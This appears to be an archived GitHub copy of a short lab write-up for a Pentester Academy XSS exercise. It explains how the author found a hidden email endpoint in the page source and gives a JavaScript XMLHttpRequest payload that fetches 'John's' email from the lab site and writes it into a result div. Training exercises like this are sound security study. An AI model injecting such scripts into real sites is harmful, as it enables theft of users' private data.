Skip to content
This repository has been archived by the owner on Jun 2, 2022. It is now read-only.

Latest commit

 

History

History
31 lines (20 loc) · 1.71 KB

TASK_14.md

File metadata and controls

31 lines (20 loc) · 1.71 KB

Task 14 [Try Now]

Objectives:

  1. Find John's Email Address using an XSS vulnerability on this page
  2. Display the Email address in the div with id "result"

Yes, there is no input to test. But the XSS is always a client side vulnerability, so after struggling I found a some resource in the source code

So when I opened this path in new tab, I found this

Now we found what we are worried about, let's use XHR to complete this challenge. We need to check for the completion of XHR so that we can get the response text. Luckily we have .onreadystatechange

const xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function () {
  if (this.readyState == 4 && this.status == 200) {
    document.querySelector("#result").textContent = xhttp.responseText;
  }
};

xhttp.open("GET", "http://pentesteracademylab.appspot.com/lab/webapp/jfp/14/email?name=john", true);
xhttp.send();

For POC, Click Here